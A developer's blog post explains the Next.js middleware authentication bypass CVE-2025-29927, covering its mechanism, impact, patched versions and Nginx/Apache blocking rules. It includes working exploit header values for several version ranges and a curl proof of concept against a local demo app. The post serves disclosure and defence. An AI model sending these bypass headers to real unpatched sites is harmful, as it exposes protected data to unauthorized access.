homeworkblog
@yacine_kharoubilinkedingithub

Critical Next.js Vulnerability: How a Simple Header Bypasses Authentication (CVE-2025-29927) ๐Ÿ•ต๏ธ

March 23, 2025 (6mo ago)

As a humble fellow developer trying to stay up-to-date in the ever-evolving world of web security, I was both intrigued and slightly terrified when I heard about the latest Next.js vulnerability (CVE-2025-29927). This sneaky little bug allowed attackers to completely bypass middleware authentication and authorization checks, leaving sensitive data exposed like a picnic basket in a bear-infested forest.

In this guide, I'll walk you through the ins and outs of this vulnerabilityโ€”from understanding how it works to implementing the necessary fixes. If you're managing a Next.js application or just curious about web security, this post is for you. Together, we'll explore the vulnerability, its impact, and the steps to secure your applications.

โžก๏ธ Note: If you're new to Next.js or web security, don't worry! I'll break down the concepts in an easy-to-understand way, so you can follow along without any hassle.

TL;DR โšก

A simple header (x-middleware-subrequest) could be added to requests to completely bypass Next.js middleware, potentially allowing unauthorized access to protected routes, CSP bypasses, and even DoS attacks via cache poisoning. This affected all Next.js versions from 11.1.4 to the latest versions before the patches (13.5.6, 14.2.24, 15.2.2).

CVSS Score: 9.1/10 (Critical)

The Basics: What is Next.js Middleware? ๐Ÿงฑ

Before we dive into the vulnerability, let's understand what middleware does in Next.js. Middleware runs before a request is completed and allows you to:

  • Rewrite paths
  • Redirect users
  • Add response headers (like CSP)
  • Perform authentication and authorization checks

Here's a simple example of middleware protecting an admin route:

// middleware.js
export function middleware(request) {
  // Get the path
  const path = request.nextUrl.pathname

  // Check if user is trying to access admin area
  if (path.startsWith('/admin')) {
    // Get the session cookie
    const session = request.cookies.get('session')?.value

    // If no valid session, redirect to login
    if (!session || !isValidSession(session)) {
      return NextResponse.redirect(new URL('/login', request.url))
    }
  }

  // Continue with the request
  return NextResponse.next()
}

This middleware acts as a bouncer at the club door, checking IDs before letting anyone into the VIP area. But what if someone could just walk right past the bouncer? That's basically what this vulnerability allowed!

The Vulnerability: How It Works ๐Ÿž

The vulnerability existed in Next.js's internal mechanism to prevent infinite middleware recursion. When a request triggered middleware, Next.js would check for an internal header called x-middleware-subrequest to determine if the middleware should run.

The Evolution of the Vulnerability

The vulnerability evolved across different Next.js versions:

In Older Versions (pre-12.2) ๐Ÿ›๏ธ

In versions 11.1.4 to 12.1.x, the middleware file had to be named _middleware.ts and placed in the pages directory. The exploit was:

x-middleware-subrequest: pages/_middleware

This would completely bypass the middleware check!

In Middle Versions (12.2-13+) ๐Ÿ”€

The middleware file convention changed to middleware.ts in the root directory (or optionally in the src directory). The exploit became:

x-middleware-subrequest: middleware

or

x-middleware-subrequest: src/middleware

In Recent Versions (14+) ๐Ÿ”‚

The logic changed slightly again. Now the bypass required repeating the value multiple times:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

or

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Proof of Concept: Let's See It in Action! ๐ŸŽฌ

Let's create a simple Next.js application with middleware that protects a route. We'll then demonstrate how to bypass this protection.

Step 1: Set Up the Next.js Application ๐Ÿ—๏ธ

First, clone the repository and navigate to the project directory:

git clone https://github.com/neoxs/nextjs-middleware-vuln-poc.git
cd nextjs-middleware-vuln-poc

Install the dependencies:

npm install

Step 2: Run the Application โ–ถ๏ธ

Start your Next.js application:

npm run dev

Step 3: Understanding the Application Structure

The application has the following key components:

Middleware (middleware.ts) ๐Ÿ›‘

import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'

export function middleware(request: NextRequest) {
  // Get the pathname of the request
  const path = request.nextUrl.pathname

  // Define which paths are protected (require authentication)
  const isProtectedRoute = path.startsWith('/dashboard')

  // Check if user is authenticated by looking for the auth cookie
  const authCookie = request.cookies.get('auth')?.value
  const isAuthenticated = authCookie === 'true'

  // If the route is protected and the user is not authenticated,
  // redirect to the login page
  if (isProtectedRoute && !isAuthenticated) {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  // Continue with the request if authenticated or not a protected route
  return NextResponse.next()
}

// Configure which routes the middleware should run on
export const config = {
  matcher: ['/dashboard/:path*'],
}

Protected Dashboard (/app/(protected)/dashboard/page.tsx) ๐Ÿ”’

A protected route that should only be accessible to authenticated users.

Login Page (/app/(auth)/login/page.tsx) ๐Ÿ”‘

Where users without authentication are redirected.

Step 4: Testing Normal Behavior ๐Ÿงช

  1. Open your browser and navigate to http://localhost:3000/dashboard
  2. You should be redirected to the login page since you're not authenticated
  3. If you log in (any credentials will work in this demo), an auth cookie will be set and you'll be able to access the dashboard
normal auth flow

Step 5: Bypassing Authentication ๐Ÿšจ

Now, let's bypass the middleware protection without logging in:

Using curl:

curl -X GET http://localhost:3000/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

Using a browser with modHeader extension (recommended):

  1. Install the modHeader extension for your browser
  2. Add a new header:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
  1. Navigate to http://localhost:3000/dashboard in your browser
bypassing auth with this vuln

And boom! ๐Ÿ’ฅ We've bypassed the middleware completely, allowing direct access to the dashboard area without authentication.

Impact: Why This Was So Serious ๐Ÿ˜จ

This vulnerability was rated as critical (CVSS 9.1/10) for good reasons:

  1. No Authentication Bypass: Middleware is commonly used for authentication/authorization, meaning this bypass could allow unauthorized access to protected resources.

  2. Security Header Removal: If middleware adds security headers (CSP, HSTS, etc.), bypassing it could enable various client-side attacks.

  3. Wide Impact: Next.js is used by millions of applications, including in critical sectors like banking and healthcare.

  4. Easy to Exploit: The attack requires only adding a simple HTTP header to requests.

Personal Reflection: The Critical Nature of Protected Routes

This vulnerability is particularly critical for applications with protected routes that expose sensitive data, especially when the data isnโ€™t tied to a specific user account. For example, in an application that provides access to confidential documents or internal reports, an attacker who bypasses the middleware could still reach these routes. However, without an account in the system, they remain unable to perform actions that require authentication, even if they can view sensitive information without leaving a trace.

In such scenarios, the consequences can be severe. Unauthorized access to sensitive data can lead to data breaches, compliance violations, and significant reputational damage. It underscores the importance of implementing robust, multi-layered security measures to protect not just user-specific data but also general sensitive information.

Who Was Affected? ๐ŸŽฏ

  • Self-hosted Next.js applications using middleware (via next start or output: 'standalone')
  • Applications relying on middleware for security checks without secondary validation

Who Was Safe? ๐Ÿ›ก๏ธ

  • Applications hosted on Vercel (automatically protected)
  • Applications hosted on Netlify (automatically protected)
  • Applications deployed as static exports (since middleware isn't executed)
  • Applications using Cloudflare with Managed WAF rules enabled

The Fix: How It Was Patched ๐Ÿ”ง

The vulnerability has been fixed in:

  • Next.js 15.2.3
  • Next.js 14.2.25
  • Next.js 13.5.9

Temporary Workaround ๐Ÿฉน

If you can't update immediately, you can protect your application by blocking the x-middleware-subrequest header at your reverse proxy, load balancer, or WAF level.

For example, with Nginx:

# Block requests with the x-middleware-subrequest header
if ($http_x_middleware_subrequest) {
    return 403;
}

Or with Apache:

# Block requests with the x-middleware-subrequest header
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTP:x-middleware-subrequest} .+
    RewriteRule .* - [F]
</IfModule>

Lessons Learned: What Can We Take Away? ๐Ÿ“š

  1. Monitor Security Advisories ๐Ÿ“ข

    Keep an eye on security advisories for all your dependencies. Subscribe to security mailing lists and enable GitHub security alerts for your repositories.

  2. Regular Updates Are Non-Negotiable ๐Ÿ”„

    This vulnerability affected versions as far back as 11.1.4 (released in 2021). Keeping your dependencies updated is essential for security.

  3. Headers Can Be Dangerous ๐Ÿงจ

    Be careful about trusting HTTP headers, especially for security decisions. Headers can be easily spoofed by attackers.

Conclusion: Always Stay Vigilant! ๐Ÿฆ…

This vulnerability reminds us that even the most popular frameworks can have critical security issues lurking in their code. The Next.js team responded quickly once they were aware of the issue, but it had been present in the codebase for years!

Security is an ongoing process, not a one-time task. Keep learning, keep updating, and keep implementing those defense-in-depth strategies.

Remember: a good security mindset isn't about being paranoidโ€”it's about being prepared! ๐Ÿ›ก๏ธ

References ๐Ÿ“š

For those who want to dive deeper into this vulnerability, I recommend checking out these excellent resources:

  1. Next.js and the corrupt middleware - The original detailed technical analysis by the researchers who discovered the vulnerability.

  2. Official Next.js CVE-2025-29927 Security Advisory - The official announcement and security guidance from the Next.js team.

  3. National Vulnerability Database - CVE-2025-29927 - The NIST National Vulnerability Database entry with official vulnerability scoring and technical details.

  4. Cloudflare WAF Update for Next.js Vulnerability - Information about Cloudflare's WAF rule that provides protection against this vulnerability for Cloudflare users.

These resources provide additional technical details and context about the discovery, impact, and resolution of this vulnerability.


Disclaimer: This article is for educational purposes only. The vulnerability has been publicly disclosed and patched. Please use this knowledge ethically and only on systems you have permission to test.

Enjoyed this article?

If you found this content helpful, consider buying me a coffee. Your support helps me create more free content!

Open to Work

Currently seeking opportunities

I'm Yacine Kharoubi, a Full Stack Developer with expertise in:

ReactNext.jsTypeScriptNode.js

11,442 views